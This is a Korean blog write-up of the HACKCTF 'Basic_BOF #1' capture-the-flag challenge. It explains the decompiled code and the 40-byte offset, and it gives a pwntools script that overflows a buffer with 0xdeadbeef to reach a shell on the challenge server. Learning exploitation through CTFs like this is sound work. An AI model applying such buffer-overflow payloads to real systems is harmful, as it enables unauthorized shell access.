HACKCTF - Basic_BOF #1
2020. 7. 6. 10:43ㆍCTF's Write-up
오랜만에 포너블을 잡고 첫번째로 풀이한 문제
프로그램은 만나서 가장 먼저 해야하는일은 실행시켜보는 것
보아하니 값을 입력받고 그 값이랑 또 다른값인 체크 값을 보여주는 것 같다,
IDA로 코드를 까봐서 무슨 동작을 하는 친구인지를 살펴보는게 좋을 것 같다.
코드를 보면 15번째에 쉘을 주는 코드가 있기에 15번째로 가려면 어떻게 해야할지가 관건이다 (10번째 분기문 통과 & 12번째 분기문 들어오기)
1. 10번줄 통과하려면 v5 값을 다른값으로 변조해주면 된다.
2. 12번줄에서 안으로 들어오려면 v5 값을 0xdeadbeef 로 넣어야한다.
정답이다 전형적인 BOF문제이다.
여기서 BOF로 익스플로잇을 하려면
s의 버퍼크기를 알아서 모두 덮고, 그 뒤에있는 v5에 0xdeadbeef를 넣어주면 된다.
S의 버퍼 크기 구하기
S의 위치 --> 0x00000034
v5의 위치 --> 0x0000000C
즉 40만큼의 크기를 S에 넣어주고, v5에 0xdeadbeef를 넣는다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
from pwn import *
#remote setting
r = remote("ctf.j0n9hyun.xyz", 3000)
context.log_level = 'debug'
#set pyaload
payload = ""
payload += "A"*40 #buffer size
payload += p32(0xdeadbeef) + "AAAA" #key and dummy
log.info("payload = " + payload)
#send
r.sendline(payload)
#get control
r.interactive()
|
cs |
익스코드이다.
참고로 마지막 r.interactive()는 함수가 system("/bin/dash")이므로 내가 직접 cat flag를 쳐서 플래그를 받아야하기에 전환시킨것이다.
'CTF's Write-up' 카테고리의 다른 글
HACKCTF - / (0) | 2020.07.07 |
---|---|
HACKCTF - Basic_BOF #2 (0) | 2020.07.07 |
h3x0r easy_of_the_easy write-up (0) | 2018.11.07 |
codegate2018 - BaskinRobins31 (0) | 2018.10.31 |
codegate 2017 - babypwn (0) | 2018.09.20 |